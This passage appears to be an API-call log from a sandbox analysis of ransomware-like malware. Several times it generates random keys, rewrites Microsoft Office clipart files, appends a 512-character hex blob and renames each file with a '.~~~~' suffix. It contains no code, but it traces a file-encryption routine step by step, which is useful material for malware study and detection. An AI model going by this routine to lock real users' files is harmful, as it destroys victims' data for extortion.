	[0090.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0090.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0090.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0090.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380158
	[0090.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380158 | out: hHeap=0x300000) returned 1
	[0090.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37f590
	[0090.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.222] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.222] GetLastError () returned 0x0
	[0090.222] GetLastError () returned 0x0
	[0090.222] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.222] GetLastError () returned 0x0
	[0090.222] GetLastError () returned 0x0
	[0090.225] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffec90, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.225] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x1370, lpOverlapped=0x0) returned 1
	[0090.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0090.225] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.225] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.225] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.225] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.225] CloseHandle (hObject=0x11c) returned 1
	[0090.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d02b8
	[0090.225] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.~~~~")) returned 1
	[0090.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d02b8 | out: hHeap=0x300000) returned 1
	[0090.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0090.226] GetLastError () returned 0x0
	[0090.227] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0090.228] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.228] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0090.228] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21021803409) returned 1
	[0090.228] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f8f22f0, dwHighDateTime=0x1d60e1e)) 
	[0090.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0090.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0090.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0090.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380190
	[0090.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380190 | out: hHeap=0x300000) returned 1
	[0090.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d02b8
	[0090.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbfe8
	[0090.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d02b8 | out: hHeap=0x300000) returned 1
	[0090.228] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.229] GetLastError () returned 0x0
	[0090.229] GetLastError () returned 0x0
	[0090.229] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.229] GetLastError () returned 0x0
	[0090.229] GetLastError () returned 0x0
	[0090.236] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffce0c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.236] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x31f4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x31f4, lpOverlapped=0x0) returned 1
	[0090.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0090.237] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.237] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.237] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.237] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.237] CloseHandle (hObject=0x12c) returned 1
	[0090.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.237] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.~~~~")) returned 1
	[0090.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0090.238] GetLastError () returned 0x0
	[0090.238] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0090.239] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.239] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0090.239] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21022962211) returned 1
	[0090.240] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f918450, dwHighDateTime=0x1d60e1e)) 
	[0090.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0090.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0090.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0090.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380200
	[0090.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380200 | out: hHeap=0x300000) returned 1
	[0090.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fce28
	[0090.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.240] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.241] GetLastError () returned 0x0
	[0090.241] GetLastError () returned 0x0
	[0090.241] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.241] GetLastError () returned 0x0
	[0090.241] GetLastError () returned 0x0
	[0090.245] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffff9cc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.245] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x634, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x634, lpOverlapped=0x0) returned 1
	[0090.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0090.246] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.246] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.246] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.246] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.246] CloseHandle (hObject=0x12c) returned 1
	[0090.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.246] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.~~~~")) returned 1
	[0090.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0090.247] GetLastError () returned 0x0
	[0090.248] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x395f38) returned 1
	[0090.249] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0090.249] CryptReleaseContext (hProv=0x395f38, dwFlags=0x0) returned 1
	[0090.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0090.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0090.249] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21023891768) returned 1
	[0090.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f918450, dwHighDateTime=0x1d60e1e)) 
	[0090.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0090.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0090.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0090.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380270
	[0090.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380270 | out: hHeap=0x300000) returned 1
	[0090.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fccf8
	[0090.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.249] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.249] GetLastError () returned 0x0
	[0090.250] GetLastError () returned 0x0
	[0090.250] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.250] GetLastError () returned 0x0
	[0090.250] GetLastError () returned 0x0
	[0090.274] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffff7fc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.274] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x804, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x804, lpOverlapped=0x0) returned 1
	[0090.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0090.277] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.277] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.277] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.277] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.277] CloseHandle (hObject=0x12c) returned 1
	[0090.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d02b8
	[0090.277] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.~~~~")) returned 1
	[0090.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d02b8 | out: hHeap=0x300000) returned 1
	[0090.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0090.278] GetLastError () returned 0x0
	[0090.278] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x395f38) returned 1
	[0090.279] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0090.279] CryptReleaseContext (hProv=0x395f38, dwFlags=0x0) returned 1
	[0090.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0090.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0090.279] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21026897169) returned 1
	[0090.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f964710, dwHighDateTime=0x1d60e1e)) 
	[0090.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0090.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0090.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0090.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380350
	[0090.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380350 | out: hHeap=0x300000) returned 1
	[0090.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d02b8
	[0090.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28700a0
	[0090.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d02b8 | out: hHeap=0x300000) returned 1
	[0090.279] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.280] GetLastError () returned 0x0
	[0090.280] GetLastError () returned 0x0
	[0090.280] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.280] GetLastError () returned 0x0
	[0090.280] GetLastError () returned 0x0
	[0090.296] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffff974, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.296] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x68c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x68c, lpOverlapped=0x0) returned 1
	[0090.297] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0090.297] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.297] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.297] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.297] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.297] CloseHandle (hObject=0x12c) returned 1
	[0090.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.297] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.~~~~")) returned 1
	[0090.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0090.298] GetLastError () returned 0x0
	[0090.298] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0090.299] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.299] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
